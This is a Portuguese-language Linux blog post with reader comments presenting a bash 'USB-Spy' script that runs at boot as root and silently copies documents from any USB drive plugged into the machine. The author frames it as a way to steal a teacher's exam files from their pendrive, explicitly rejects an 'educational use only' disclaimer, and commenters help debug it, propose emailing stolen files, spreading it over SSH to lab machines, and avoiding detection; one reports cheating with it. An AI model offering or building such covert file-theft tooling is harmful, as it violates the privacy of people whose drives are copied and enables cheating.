Script para espionar o conteúdo de dispositivos USB e copiá-lo para o PC

Sempre fui um aluno inquieto, sempre querendo aproveitar oportunidades como ... por exemplo, copiar os exames do semestre do pendrive do professor ou coisa parecida. Quando eu estava no colégio (curso de informática), eu queria programar "algo" que fizesse o seguinte:

  1. Detectar quando um dispositivo USB está conectado ao computador da sala de aula
  2. Copie todo o conteúdo desse dispositivo para o computador

Isso me permitiria fazer o exame bem mais cedo, bastaria o professor conectar sua memória USB (pendrive) ao computador e pronto.

Infelizmente no meu instituto os computadores tinham Windows e ... Nunca e nunca aprendi a programar para este SO.

Porém agora eu uso Linux (obviamente não? LOL!), E com o conhecimento que ao longo desses anos tenho conseguido adquirir, agora SIM! Já consigo fazer isso com o Linux 😀

Ou seja, programei um script simples que faz o seguinte:

1. Crie a pasta /home/.USBDRIVES/
2. Ele verifica a cada 5 segundos se há algum dispositivo USB (ou CD / DVD) conectado ao computador.
3. Caso um esteja conectado, será criada uma pasta dentro de /home/.USBDRIVES/ com o nome do USB (por exemplo: memória-2gb) e também copiará todos os arquivos .doc, .pdf, etc (aqui a lista) para esta pasta que você acabou de criar.
4. Caso não haja USB conectado, ele simplesmente aguardará 5 segundos para iniciar novamente a verificação que expliquei acima 😀

Aqui está o script e o arquivo que contém os formatos a serem copiados:

Baixe USB-Spy.zip
O script deve ser executado como root para que seu funcionamento não seja limitado. Aqui eu explico como conseguir isso

Para que o script funcione sem problemas, é melhor que seja iniciado com privilégios administrativos (root), pois é óbvio que deve ser iniciado juntamente com o computador, desta forma certificamo-nos de que se o computador está reiniciado ou desligado, quando eu iniciar o script novamente ele estará lá funcionando, pronto para extrair o que quisermos de qualquer USB 😉

Vamos abrir um terminal ... uma vez aberto ...

1. Suponha que temos ambos os arquivos em / opt / (/opt/usb-spy.sh y /opt/usb-spy.files), devemos dar-lhe privilégios de execução:

sudo chmod +x /opt/usb-spy.sh

2. Abrimos o arquivo /etc/rc.local :

sudo nano /etc/rc.local

3. Nele escrevemos acima da linha final (sair 0) o seguinte:

/opt/usb-spy.sh &

4. Agora pressionamos [Ctrl] + [X] para salvar e sair do arquivo, pressionamos [S] ou [Y] (dependendo do idioma do sistema) e depois [Enter]. Isso será o suficiente para que as alterações que fizemos sejam salvas.

E pronto, isso será o suficiente para que o script comece como root quando ligarmos o computador.

É importante verificar se o arquivo usb-espião.arquivos está no mesmo diretório que usb-spy.sh 😉

Agora ... vou explicar um pouco sobre o funcionamento interno do roteiro, pois sei que há muitos amantes de Bash por aqui por

Q: Como o script sabe que um dispositivo USB está conectado?
R: No arquivo / etc / mtab de nosso sistema estão os dispositivos ou partições que estão montados em nosso sistema. Pela linha 23 do script sabe-se se existe um USB conectado ou não (tornando cat to mtab e grep media)
Q: Sim, mas Como o script sabe se cat e grep retornam alguns dados para nós ou não?
R: Por meio de um if, then, else loop que começa na linha 24.
Q: Como fazer para copiar apenas arquivos com as extensões desejadas? (.doc, .pdf, etc)
R: Usando rsync com vários parâmetros, isso está na linha 34. De forma simples, com rsync eu copio apenas os arquivos que correspondem ao filtro usb-spy.files, cada linha é um filtro, por assim dizer. Eu também passo o parâmetro --prune-empty-dirs para rsync para que não crie diretórios vazios para mim.
A propósito, algo importante. Se um dispositivo USB de 8GB (por exemplo) estiver conectado, tudo funciona corretamente, mas notei que se um dispositivo com muito mais capacidade for conectado, como 500GB ou 1TB, o processo de procura de arquivos .doc e etc. para copiá-los para o computador demorou muito tempo, então coloquei um limite de GB. Ou seja, na linha 31 eu declaro que se o dispositivo USB for menor que 16GB, então busque os arquivos e copie-os, mas se for maior que 16GB não faça nada. Se você quiser aumentar esses 16 GB em 32 GB, basta aumentar esse número da linha 31

Na verdade, não há muito o que explicar, o script é muito simples de entender :)

Se alguém tiver alguma dúvida ou dúvida, reclamação, ideia ou sugestão, por favor, diga e prometo ajudá-lo no máximo que puder.

Bem, eu estava pensando em colocar algo como: «este script é apenas para fins educacionais, não use com arquivos prejudiciais»… Mas… que se dane! Use para o que quiser, é hora de os alunos terem algum tipo de vantagem contra os professores que nos oprimem

lembranças

Você ainda pode fazer várias melhorias no roteiro, mas bom, acho que é um bom começo, se alguém se sentir motivado a contribuir para essa causa "nobre", será um prazer 😀

93 comentários, deixe o seu

Deixe um comentário

Seu endereço de email não será publicado. Campos obrigatórios são marcados com *

*

*

  1. Responsável pelos dados: Miguel Ángel Gatón
  2. Finalidade dos dados: Controle de SPAM, gerenciamento de comentários.
  3. Legitimação: Seu consentimento
  4. Comunicação de dados: Os dados não serão comunicados a terceiros, exceto por obrigação legal.
  5. Armazenamento de dados: banco de dados hospedado pela Occentus Networks (UE)
  6. Direitos: A qualquer momento você pode limitar, recuperar e excluir suas informações.

  1.   elav. dito

    Trapaceiro ¬¬

    Xdddd

    1.    KZKG ^ Gaara dito

      Nah de jeito nenhum ... se você com certeza já pensou em fazer algo assim ... HAHAHA.

      1.    Ivan Molina dito

        Você me salvou de um questionário surpresa 😀… Agora seu «KZKG ^ Gaara» Você é meu deus… Louvado seja!

    2.    Facundo dito

      Olá, muito bom script, mas no mega o arquivo não existe mais, pode mandar para o meu email, por favor

  2.   oscar dito

    Linux é de 1% e você diz que nunca aprendeu a programar para windows então a tutoria é para um sistema linux, minha dúvida é: qual a possibilidade de encontrar um professor que use linux para poder fazer a tutoria?

    1.    KZKG ^ Gaara dito

      Este script ou truque é “implementado” num computador que não tem necessariamente que ser pessoal ou do próprio professor, basta que seja qualquer computador de uma Universidade ou Faculdade, então só seria possível conseguir por X ou Y motivo pelo qual o professor conecta seu USB naquele computador.

      Sim, é para Linux, mas muitas universidades têm o Linux como sistema em laboratórios de informática, além de inicializar com LiveCD e não necessariamente instalar o Linux no PC 🙂

      Sobre o 1%, recomendo que você leia este post: https://blog.desdelinux.net/debunking-the-1-percent-myth-traducido-al-espanol/

    2.    Hyuuga_Neji dito

      A possibilidade de um meteorito gigante cair no Atlântico em aproximadamente 30 min

  3.   Josh dito

    Parece interessante, terá que ser tentado.
    obrigado

    1.    KZKG ^ Gaara dito

      O utilitário que ele possui não é grande coisa, mas o script como tal é interessante ... porque você pode aprender várias dicas com ele, por exemplo, como saber o USB conectado, o tamanho das partições, etc.

  4.   cr0t0 dito

    Um artigo original e muito bem explicado KZKG ^ Gaara. Felicidades!

    1.    KZKG ^ Gaara dito

      Obrigado

  5.   Oscar dito

    Que audácia !!!, e você se atreve a escrever no blog OO, não sei o que pensar, será que alguém hackeado o Gaara que não gosta bem dele?

    1.    KZKG ^ Gaara dito

      atrevimento? porque?
      Embora o propósito ou motivo do script possa não ser tão sério quanto o resto de minhas contribuições, o script, suas linhas e lógica de programação têm muito a contribuir, eu acho.

      Você pode tirar proveito de várias coisas com este script:
      1. Como saber o tamanho de uma partição e torná-la uma variável.
      2. Como verificar se há um USB conectado e extrair seu caminho e nome.
      3. if-then-else e while loops.

      De qualquer forma, não acho que isso seja totalmente inútil ou algo assim.

      1.    Oscar dito

        Eu acho que você interpretou mal o meu comentário, quero dizer, no início do seu artigo,
        "Sempre fui um aluno inquieto, sempre querendo aproveitar oportunidades como ... por exemplo, copiar as provas do semestre do pendrive do professor ou algo assim." Se o que digo te incomoda, espero que me dê licença, não era minha intenção.

        1.    Blaire pascal dito

          oO que blog excelente, bons artigos, bons leitores, usuários peçam desculpas ... é o paraíso rsrsrs livre de trolls.

          1.    KZKG ^ Gaara dito

            obrigado ^ - ^
            Estamos orgulhosos do que conquistamos até agora, esta comunidade está realmente orgulhosa ... é muito bom fazer parte disso tudo 😀

        2.    KZKG ^ Gaara dito

          Não, não mesmo, eu realmente não me incomodei xD
          E sim hehe, foi meu erro por interpretar mal o seu comentário hehehe, desculpe por isso 😉

          Nada que as desculpas venham de mim agora, vou ter que lavar o rosto para ver se acabo de acordar isso ... pelo que vejo ainda não estou 100% HAHAHA.

          Saudações amigo 🙂

        3.    Oscar dito

          Muito boa pessoa xD

  6.   neomito dito

    Eu gostaria que os computadores da minha faculdade tivessem Linux muhahahjaja.

  7.   GGGG1234 dito

    Bom artigo!
    Mas quem quiser imitá-lo no Windows ficará mais fácil, pois onde você não tem acesso root na máquina que deseja utilizar, não pode deixá-lo "para sempre". Com o Windows isso não acontece 😉

  8.   Blaire pascal dito

    Muito bom hehe.

  9.   Hyuuga_Neji dito

    A ideia é boa, só tem a fraqueza de ter que usar privilégios de Root

    1.    KZKG ^ Gaara dito

      Bem, você realmente não precisa ser root como tal ... se você declarar para o script que a pasta NÃO será /home/.USBDRIVES como eu coloquei, e diz por exemplo: / home / usuario /. USBDRIVES ... então executar o script com o "usuário" será suficiente 😀

  10.   Emilio dito

    É uma boa ideia, mas acho que você se pouparia modificando o rc.local e rodando-o a cada minuto através do crontab, evitando assim o problema de rodá-lo como root e o resto, por outro lado, mesmo que não afete muito, você consome inutilmente a memória do pc a cada 5 segundos para verificar se o usb está, mesmo quando não está. Bem, esse é o meu ponto de vista

    1.    KZKG ^ Gaara dito

      Quer dizer, faça uma verificação a cada 1 minuto, certo? Não fiz assim porque ... e se um USB for conectado e desconectado em menos de 1 minuto? 😀

      Eu preferia fazer isso a cada 5 segundos para ter certeza de realmente "capturar" todos os USB 😉

      Se eu não entendi você, por favor me corrija 🙂

      Saudações e boas-vindas.

      1.    Emilio dito

        Sim, faça a verificação a cada minuto através do cron, mas bem cada um tem uma forma diferente de ver o problema, nada mais do que olhar o código, não seria melhor verificar se a pasta /home/.USBDRIVES já existe antes de criar isso, é uma sugestão nada mais

        lembranças

        1.    KZKG ^ Gaara dito

          Sim também, é um detalhe que notei mas ... Tive preguiça de resolver rsrs!

          Da mesma forma, poderia colocar um log onde são mostrados os arquivos que foram copiados (log individual para cada dispositivo), quem sabe até enviar esse log por e-mail (utilizando algum método de envio de e-mail por terminal dos que coloquei aqui no site ) ... mas como eu disse, sou um pouco preguiçoso ^ - ^ U

  11.   pavloco dito

    Hahaha ótimo.

  12.   hexborg dito

    AHA! Portanto, seu software pode ser usado para o mal. RI MUITO!!! 🙂

    O truque é bom, mas ... e se você quiser desmontar o USB antes que o script termine de copiar seu conteúdo? Nesse caso, reclamará que está em uso e perceberá que algo está errado. 🙂

    1.    KZKG ^ Gaara dito

      Na verdade, o sistema não permitirá que o USB seja desmontado porque "algo" o estará usando 😉

      1.    hexborg dito

        Exato! E é então que o professor de Oscar pensa que encontrou um vírus Linux. RI MUITO!! 🙂

  13.   Oscar dito

    Você me fez lembrar uma vez que fiz algo semelhante (no meu Uni se tivéssemos linux / windows), mas fiz um programa em C que gerou milhares de pastas. Estofei o USB para um cara que o conectou. O gerente do centro de informática ficou surpreso! Ele pensou ter encontrado um vírus no linuxx muajajajaja ... ahhh .. que horas eram aqueles =)

    1.    miguel dito

      e qual é a diferença com um vírus?

      1.    Oscar dito

        Que eu peguei remotamente o USB dele e executei o programa 😛

        1.    miguel dito

          hahahaha, então foi um hack XD

    2.    KZKG ^ Gaara dito

      ????
      hehehehehe então você encontrou um vírus no Linux certo? … RI MUITO!!

  14.   semproms dito

    Simplesmente não funciona para mim xD, se eu tento executá-lo do terminal, ele me diz o seguinte: ./usb-spy.sh: linha 31: [: -lt: operador unário esperado
    Parece haver algo errado com esta linha: if [$ USBSIZE -lt 15664800]; então
    Mas não sei o que é, porque não cria o diretório .USB também.

    Se puder ser resolvido, posso encontrar um script útil.

    1.    hexborg dito

      Tente substituir df por / bin / df e certifique-se de iniciá-lo como root.

      1.    semproms dito

        Ok, agora se ele cria a pasta .USB dentro do diretório inicial, mas continua me informando através do terminal que: "./usb-spy.sh: linha 31: [: -lt: operador unário esperado" e isso não acontece t copiar nada, nessa linha deve haver algum conflito, agradeço a ajuda se alguém perceber.
        Muito obrigado.

        1.    hexborg dito

          Você pode nos fornecer o conteúdo do seu arquivo / etc / mtab quando o USB for montado?

          1.    semproms dito

            Claro, aqui vai:

            / dev / sda12 / ext4 rw, erros = remount-ro 0 0
            proc / proc proc rw, noexec, nosuid, nodev 0 0
            sysfs / sys sysfs rw, noexec, nosuid, nodev 0 0
            nenhum / sys / fs / fusível / conexões fusectl rw 0 0
            nenhum / sys / kernel / debug debugfs rw 0 0
            nenhum / sys / kernel / security securityfs rw 0 0
            udev / dev devtmpfs rw, mode = 0755 0 0
            devpts / dev / pts devpts rw, noexec, nosuid, gid = 5, modo = 0620 0 0
            tmpfs / run tmpfs rw, noexec, nosuid, size = 10%, modo = 0755 0 0
            nenhum / executar / bloquear tmpfs rw, noexec, nosuid, nodev, tamanho = 5242880 0 0
            nenhum / run / shm tmpfs rw, nosuid, nodev 0 0
            binfmt_misc / proc / sys / fs / binfmt_misc binfmt_misc rw, noexec, nosuid, nodev 0 0
            / dev / sdb1 / media / DOCU403 vfat rw, nosuid, nodev, uid = 1000, gid = 1000, shortname = m $

            As últimas linhas são aquelas do USB / dev / sdb1 montado

          2.    hexborg dito

            Vamos ver se conseguimos. 🙂

            Forneça a saída do comando df. E tente adicionar a linha:

            echo $ USBSIZE

            Bem na frente do se isso dá o problema e diga-nos o que sai ao lançar o script. Deve ser assim:

            USBSIZE = `/ bin / df | grep $ USBDEV | awk {'print $ 2'} `
            echo $ USBSIZE
            se [$ USBSIZE -lt 15664800]; então

            E, para garantir, diga-nos também qual é a saída do comando which df.

            1.    semproms dito

              Ok, em partes, o comando df retorna isso para mim:

              Blocos de 1K do sistema de arquivos usados ​​Uso disponível% montado em
              / dev / sda12 54082300 45246956 6125892 89% /
              udev 2004028 4 2004024 1% / dev
              tmpfs 805768 1180 804588 1% / execução
              nenhum 5120 0 5120 0% / executar / bloquear
              nenhum 2014420 92 2014328 1 XNUMX XNUMX% / corrida / shm
              / dev / sdb1 1023200 322256 700944 32% / media / DOCU 3

              O comando que df me retorna: / bin / df

              Aí coloquei o echo $ USBSIZE, e o resultado é o mesmo, não imprime nada de novo, mas o erro de antes, o engraçado é que isso acontece com o USB que estou testando, se coloco o 500GB disco rígido externo Sim, ele retorna o tamanho do disco na tela, mas o 500 ultrapassa os 16 do se, pois com o disco rígido não faz nada.

              Mas com o USB ele não faz nada, a não ser mostrar o erro: ./usb-spy.sh: linha 34: [: -lt: operador unário esperado
              É como se não pudesse mostrar o tamanho do USB, mas com o comando df consigo seu tamanho.

              Obrigado pela ajuda, vamos ver se conseguimos!


            2.    semproms dito

              Caso o comando não pareça bem, deixo uma imagem: http://i48.tinypic.com/j5dvn5.jpg


          3.    hexborg dito

            Vejo que no mtab o caminho onde aparece montado é «/ media / DOCU403», enquanto no df aparece «/ media / DOCU 3». Isso faz com que o grep não o encontre e não retorne o tamanho. Tente alterar as primeiras linhas de para que fiquem assim:

            para USBD em `cat / etc / mtab | grep media | awk '{print $ 1}' '';
            do
            USBDEV = `cat / etc / mtab | grep $ USBD | awk '{print $ 2}' ''
            USBSIZE = `/ bin / df | grep $ USBD | awk {'print $ 2'} `

            As alterações consistem em alterar o nome da variável for para USBD, alterar $ 2 no final da linha for para $ 1, inserir a linha que começa com USBDEV logo após o fazer e alterar USBDEV para USBD na linha que começa com USBSIZE… Espero não ter mexido. 🙂

            A ideia é fazer o for pelo nome do dispositivo em vez de pelo ponto de montagem.

            1.    KZKG ^ Gaara dito

              O problema era que no mtab quando um dispositivo tem espaços ... ele coloca alguns caracteres "estranhos" na linha, especificamente no lugar do espaço.

              Nada, tão simples de resolver como mudar a forma como $ USBDEV é designado, na linha 28 mude e coloque assim:
              for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

              ????


          4.    Atheus dito

            Deixa eu ver se te posso ajudar ...

            O operador unário mostra porque não localiza o tamanho do disco, isso acontece porque não verifica, isso acontece porque é chamado

            Documento 3

            e leva como dois valores, se fosse DOCU não abriria um problema

            Talvez isso funcione para você

            http://www.itimetux.com/2012/11/manejar-archivos-o-carpetas-con-espacios-en-unix.html

            Saudações 🙂

            1.    semproms dito

              Na verdade esse é o problema, pois acabei de experimentar com outro USB que tem um nome com uma palavra sem espaços, exemplo "classes" e o script funciona sem problemas, é por isso que reconheceu o disco rígido e não as memórias, mas agora o O problema é saber como coloco as aspas no código do script, devo colocá-las em "$ USBNAME"?

              Muito obrigado a Atheyus e Hexborg pela ajuda, está quase pronto.


          5.    KZKG ^ Gaara dito

            Na realidade semproms é super simples de consertar 😉
            Linha 28 ... mude para este:
            for USBDEV in `df | grep media | awk -F / {'print $5'}` ;

            Acabei de testar essa mudança e funciona bem com dispositivos cujo rótulo / nome tem um espaço :)

            Agora farei a alteração no script para download.

          6.    hexborg dito

            Muito bom. Portanto, é fácil de corrigir. 🙂

  15.   Auros Zx dito

    Ohhh, muito engenhoso 😀 Vou tomar nota no caso de precisar ...

  16.   semproms dito

    KZKG ^ Gaara, com aquele arranjo funciona perfeitamente, agora se eu copiar o USB com espaço no nome, muito obrigado a todos pela ajuda, vou tentar ver se consigo fazer rodar com o boot do sistema e assim Verifique a cada ciclo se há algum USB conectado.

    No final, conseguimos xD.

    1.    KZKG ^ Gaara dito

      ^ - ^ ... legal hehe.
      O problema é que usei o mtab para reconhecer o USB, poderia simplesmente ter usado o df ... Usei o mtab porque achei que seria interessante explicar esse arquivo para eles, que eles sabem disso, mas não previ que isso erro aconteceria com dispositivos com espaços lol.

      Qualquer dúvida ou problema você deixa dito, quase todo mundo aqui gosta de ajudar xD

      lembranças

    2.    hexborg dito

      Claro. Somos linuxers. Nós sempre entendemos. XD.

  17.   Yeretic dito

    Instale um daemon no PC do professor que gere um registro de todos os .doc, .docx, .odt, .pdf e os envia para você por e-mail. Bem como varrer o PC de vez em quando em busca de alterações, novos arquivos ou exclusões no referido registro, e anet qualquer notícia enviará o arquivo modificado ou novo também por correio.

  18.   Yeretic dito

    De qualquer forma, acho que mais do que uma pegadinha, executar esse script (E COMO RAIZ !!!!) é suicídio. Você está tornando a vida e as coisas 700% mais fáceis para qualquer pessoa interessada em inserir um arquivo no seu PC com permissões de root e tudo. Lembre-se que no Linux não há extensões e que um .doc no Linux pode ser igual a um texto, um vídeo ou pior, um script (desta vez com más intenções).

    1.    KZKG ^ Gaara dito

      Executá-lo como root não é totalmente necessário, basta definir a pasta onde o conteúdo será colocado em algum lugar onde o usuário em execução tenha permissão de gravação (por exemplo, sua própria casa) e é isso 🙂

      Em arquivos perigosos ... bem, você poderia adicionar algumas linhas que iriam chmod -x para todos os arquivos, perdendo assim a propriedade de execução.

      1.    semproms dito

        Eu adicionei estas linhas no início para excluir a pasta .USBDRIVES se ela já foi criada:

        se [-s $ PLACE]
        então rm -r $ PLACE
        fi

        Dessa forma, não vai dar o erro de "diretório já existente", ou seja, se você tiver que cuidar para que não haja nada na pasta .USBDRIVES que não queira que seja apagado, pois ele vai apagá-lo e colocar outro em seu lugar.

  19.   Daniel dito

    Para adicionar novos formatos de arquivo, basta gravá-los no usb-spy? por exemplo .jpg .mp3 etc.

    1.    KZKG ^ Gaara dito

      Para adicionar novos tipos de arquivo, coloque-o em usb-spy.files
      Observe o conteúdo do arquivo e verá como adicioná-los, é bastante simples 😉

  20.   Bolivar wuilmer dito

    Se estivermos na mesma rede, e tiver uma máquina do professor, o interessante seria fazer um mapeamento da rede, podemos ter ssh nas máquinas e assim distribuir o código nas máquinas do laboratório ou mesmo na máquina do professor ... Isso me dá tantas ideias: $

  21.   xyler dito

    Olá, parabéns pelo post e por todas as suas contribuições, mas tenho uma dúvida, para ver se alguém pode resolver esse problema para mim:

    Estava testando seu script em um pc com Ubuntu 12.04LTS (com Unity) e funcionou perfeitamente, mas como vi que esse script parou de executar na primeira vez, pois a pasta .USBDRIVES já estava criada, resolvi use diretamente este outro script de sua autoria que foi postado em outra parte deste fórum

    aqui copio o script para você se localizar

    #! / Bin / bash
    #
    # - * - CODIFICAÇÃO: UTF-8 - * -
    # Este programa é um software livre. Você pode redistribuí-lo e / ou
    # modifique-o nos termos da Licença Pública Geral
    GNU # conforme publicado pela Free Software Foundation,
    # ou a versão 2 da referida Licença ou (dependendo do seu
    # escolha) de qualquer versão posterior.
    #
    # Se você fizer alguma modificação neste aplicativo,
    # deve sempre mencionar o autor original do mesmo.
    #
    #Copyleft 2012, DesdeLinux.net {Cidade de Havana, Cuba}.
    # Autor: KZKG ^ Gaara

    ENQUANTO = 0

    enquanto [$ CONTROL = 0]; Faz
    cat / etc / mtab | grep media >> / dev / null
    se [$? -ne 0]; então
    CONTADOR = 0
    outro
    CONTADOR = 1
    : $ {USBDEV: = `cat / etc / mtab | grep media | awk '{print $ 2}' `` / »}
    cp $ USBDEV / * / home /
    fi
    dormir 5
    feito

    sair 0

    O tópico é o seguinte no ubuntu12.04 lts Unity que o último script roda bem e funciona, mas quando eu faço downgrade do mesmo pc por motivo "x" e tento fazê-lo funcionar no ubuntu 10.10 não, posso fazer funcionar
    Por outro lado, ele gera um erro e não lê os pen drives que têm um nome composto, por exemplo: DATA-G, nem copia os arquivos que têm um nome composto. Tirando esse problema, tenho o problema de que o script só é executado quando o pc é reiniciado uma vez.

    A questão seria: como posso fazer com que esse script copie pen drives e arquivos com nomes compostos
    e se estiver usando crontab ou posso agendá-lo para funcionar em um determinado horário

    Outro detalhe, no Ubuntu 10.10, por usar Gnome, gostaria de acrescentar algumas restrições a levar em consideração, ao dar privilégios de execução a um script, ele deve estar localizado em /etc/init.d e não em / etc /
    (Leve em consideração que você tem que colar lá chegando do terminal com sudo nautilus)

    por outro lado, outra dimensão seria que depois de colar lá para ver se pode ser executado, deve ser feito em outro terminal

    sudo su (para ser root)
    senha

    ls

    cd / etc / init.d

    ls -l

    e aí a gente pula se está correndo ou não

    então no mesmo terminal ou em outro terminal em outro momento sendo como root e estando em etc / init.d (ou seja, até a etapa cd /etc/init.d) como no terminal anterior, continuamos como segue para dar-lhe permissões execução

    sudo chmod + x script.sh

    atualização -rc.d script.sh padrão 80

    reinicialização

    Repito que é para funcionar no ubuntu 10.10 se for outra versão como 12.04 você tem que fazer o que KZKG ^ Gaara diz

    E uma última pergunta, como eu quero copiar o conteúdo (até 3 subpastas do pendrive) para a home ou para uma pasta pessoal oculta ou não, suponha que seja.
    no código, eu não teria que dizer

    cp -r /media/*/*/*/home/.USBDRIVES/*

    Resumindo, para conseguir o que desejo, como o script deve permanecer?
    porque já tentei modificar a linha que eles modificaram para usb-spy sh mas para aquela outra que grava diretamente em casa e me joga um erro na linha modificada.? Saudações . Obrigado

  22.   Kakashi dito

    Não consigo baixar o segundo script

  23.   metálico dito

    Muito bom. 😉

  24.   camaleão dito

    E se eu não seguir os passos que você impõe, o que acontece? Não é executado ou apenas executa, mas sem root? Se os computadores tiverem um sistema que dizemos que restaura todas as configurações internas do computador ao desligá-lo, vai funcionar? Obrigado.

    1.    KZKG ^ Gaara dito

      No caso de o sistema ter 'algo' cujo padrão é a pasta / home /, você deve modificar o script, onde diz / home / alterá-lo para / opt / ou alguma outra pasta que não seja afetada.

  25.   caules dito

    Acho que para melhorar o script e evitar que a intrusão no pendrive seja notada, o ideal seria priorizar o tipo, o tamanho do arquivo. Por exemplo, deixe arquivos grandes de 100 megabytes ou mais para o final. Ou primeiro copie os arquivos doc, docx, txt, pdf, xml, ... etc etc etc e deixe os arquivos avi, mp4, mkv por último ...

  26.   lucas dito

    Olá, a ideia é boa. Eu queria fazer duas perguntas:
    - Isso pode ser feito ao contrário? faça um script para o penderiver, que se conecte a qualquer máquina e extraia arquivos.
    - funciona para o sistema operacional Windows?

    1.    KZKG ^ Gaara dito

      Olá,

      Não sei como poderia ser feito que, ao conectar o pendrive, o mesmo pendrive autoexecutasse um script que estava dentro.

      E não, este script não funciona para Windows 🙂

      1.    LUCAS dito

        Ok, obrigado por me responder, vou investigar como fazer isso

  27.   José Damião Bazaga Ruiz dito

    Que bom roteiro. Estive analisando isso e me parece incrível, espero que um dia eu também possa fazer roteiros tão práticos.

  28.   jose dito

    Excelente contribuição, embora a utilidade que vou dar a ele não seja exatamente o que você propôs, se eu usá-lo para backups de arquivos de um grupo de usuários, má conduta que eu tenho… hehehehe….

  29.   embrulhar dito

    quando tento executá-lo, aparece este erro na linha 31: [: muitos argumentos
    remova essa linha para ver se funcionou. e verifica-se que é a linha que restringe o tamanho dos dispositivos.
    ao removê-lo copia o que eu tenho em minhas partições montadas 🙁

  30.   Valente dito

    Olá, sou novo e sei que a panela é velha mas gostei muito, seu roteiro é muito educativo

    Obrigado por compartilhar e explicar em detalhes ...

    Onda

  31.   doltrox dito

    Amigo, você me salvou, foi o suficiente para distrair o professor e introduzir o usb no meu laptop e então hahahaaj passou no exame e notas de todos hahaha

    1.    oetam222 dito

      Você poderia me passar o script, o link está fora do ar

    2.    oetam222 dito

      Você pode me passar o script o link está fora do ar

  32.   Worm2D2 dito

    kzkggaara, você poderia reenviar os arquivos? os links estão fora do ar: /, muito obrigado

  33.   bastian dito

    Você pode enviar links, por favor?

  34.   necr0 dito

    ouve! tio! você tem os louvores caídos, você poderia aumentá-los novamente!
    ESTÁ BEM! : v

  35.   necr0 dito

    bem, faço isso de novo porque não sei se o que eu queria dizer foi carregado….

    bem, é que você tem os links abaixo, você pode enviá-los!

  36.   rlorau dito

    Os links estão fora do ar !!!

  37.   Developer24 dito

    Reenvie os links @usemoslinux Estou investigando sobre o assunto, obrigado!

  38.   anônimo dito

    O script pode ser baixado aqui. Eu acho que é o mesmo

    https://mega.nz/#!yQR1BQTb!FoYoopZ11WSstQaqX1flxhm1t4jCKOI9jj8VIxIBrxk

  39.   banheiro dito

    Bom pois….

    Eu acho do meu humilde ponto de vista que é um ótimo artigo e bem, se há pessoas que dizem que você é um trapaceiro, então eu acho que é de acordo com a finalidade para a qual você usa o programa.
    Eu pessoalmente gostei mais por conhecer a linguagem de programação para linux já que só trabalhei em java, obrigado colega, você despertou meu interesse em saber mais sobre a linguagem para linux.

    Te agradeço.

  40.   Hecorate dito

    Olá amigos, pois encontrei outra forma de usar esse script é fazendo backup, vou falar um pouco com vocês tenho dois aparelhos, uma câmera e um hdd, o que eu quero é que ao invés de gravar os arquivos, salve os arquivos locais eles em um disco rígido externo da câmera para o disco rígido, mas me dá um erro que diz "muitos argumentos" você poderia me ajudar

  41.   LUIS GERARDO POLANCO VERA dito

    Ele só funciona com dispositivos com sistemas operacionais Linux?

  42.   Testando dito

    Alguém aumente, por favor!

  43.   gazela dito

    Olá, eu não tenho linux e na minha escola eles usam Windows, usei o app de captura de usb e copio apenas 5 arquivos da memória do professor, suspeito que usb tem proteção, porque aconteceu a mesma coisa duas vezes, vai haver alguns outra maneira de subtrair as informações completas desse usb?

  44.   zaraki dito

    Vá se você diz que o código será simples, pois parece muito interessante ver os métodos funcionarem para ver se um USB está conectado ou o tamanho da partição. Que pena que eles removeram o script mega.nz, você poderia carregá-lo novamente?

    Saudações e ótimo trabalho, simples mas funcional até para automatizar cópias de USB !!!

  45.   Breaks dito

    Bom!
    Acabei de inserir sua postagem no blog e estou realmente interessado. O que acontece é que quando você dá o arquivo .zip que redireciona para mega, significa que o arquivo não está mais disponível.
    Gostaria de saber se você poderia me enviar os arquivos que devem ser baixados.
    Muito obrigado e saudações!

  46.   Alfredo Pereira dito

    A tecnologia tem o hábito de diminuir de tamanho com o passar dos anos. E isso aconteceu em um grau incrível com unidades de estado sólido (SSDs). Agora você pode obtê-los no mesmo tamanho das unidades flash USB mais rápidas.

    https://clongeek.com/las-unidades-usb-3-0-mas-rapidas/

  47.   a dito

    Você pode me enviar o arquivo ou carregá-lo novamente? Acontece que não pode ser baixado